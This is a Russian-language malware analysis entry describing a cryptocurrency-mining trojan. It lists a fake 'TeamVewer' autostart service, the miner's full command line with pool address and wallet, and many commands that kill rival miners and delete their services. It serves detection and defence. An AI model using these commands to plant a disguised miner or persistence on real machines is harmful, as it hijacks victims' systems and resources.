Техническая информация
Для обеспечения автозапуска и распространения:
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\TeamVewer] 'Start' = '00000002'
Вредоносные функции:
Создает и запускает на исполнение:
- '%WINDIR%\mui\xcn32\minerd.exe' -a m7 -o stratum+tcp://xcnpool.1gh.com:7333 -u CNvTsCC6Cn9WUHQvYpYzwBVKMJTrDxyiWu -p x
Запускает на исполнение:
- '<SYSTEM32>\sc.exe' delete Telephonu
- '<SYSTEM32>\taskkill.exe' /f /im az.exe
- '<SYSTEM32>\taskkill.exe' /f /im mecoind.exe
- '<SYSTEM32>\sc.exe' stop Telephonu
- '<SYSTEM32>\sc.exe' delete WinPanmecion
- '<SYSTEM32>\sc.exe' stop WinPanmecioa
- '<SYSTEM32>\sc.exe' delete WinPanmecioa
- '<SYSTEM32>\taskkill.exe' /f /im MinerWatch.exe
- '<SYSTEM32>\sc.exe' create TeamVewer binPath= "%WINDIR%\mui\xcn32\Service.exe" start= auto
- '<SYSTEM32>\sc.exe' description TeamVewer "╩╒╝п▓в▒г┤ц═°┬ч┼ф╓├║═╬╗╓├╨┼╧вгм▓в╘┌╨┼╧в╕─╢п╩▒═и╓к╙ж╙├│╠╨Єбг"
- '<SYSTEM32>\taskkill.exe' /f /im miner.exe
- '<SYSTEM32>\taskkill.exe' /f /im smssz.exe
- '<SYSTEM32>\taskkill.exe' /f /im minerd.exe
- '<SYSTEM32>\taskkill.exe' /f /im meciond.exe
- '<SYSTEM32>\sc.exe' delete Telephouser
- '<SYSTEM32>\sc.exe' stop Telephousl
- '<SYSTEM32>\sc.exe' delete Telephousl
- '<SYSTEM32>\sc.exe' stop Telephouser
- '<SYSTEM32>\cmd.exe' /c ""%WINDIR%\mui\xcn32\32.bat" "
- '<SYSTEM32>\sc.exe' stop Telephouse
- '<SYSTEM32>\sc.exe' delete Telephouse
- '<SYSTEM32>\sc.exe' stop WinPanaer
- '<SYSTEM32>\sc.exe' delete WinPanaer
- '<SYSTEM32>\sc.exe' stop WinPanmecion
- '<SYSTEM32>\sc.exe' delete WinPanarers
- '<SYSTEM32>\sc.exe' stop Telephouslm
- '<SYSTEM32>\sc.exe' delete Telephouslm
- '<SYSTEM32>\sc.exe' stop WinPanarers
Изменения в файловой системе:
Создает следующие файлы:
- %WINDIR%\mui\xcn32\minerd.exe
- %WINDIR%\mui\xcn32\Service.exe
- %WINDIR%\mui\xcn32\32.bat
- %WINDIR%\mui\xcn32\ks.bat
Сетевая активность:
Подключается к:
- 'xc###ol.1gh.com':7333
UDP:
- DNS ASK xc###ol.1gh.com
Другое:
Ищет следующие окна:
- ClassName: '' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'EDIT' WindowName: ''
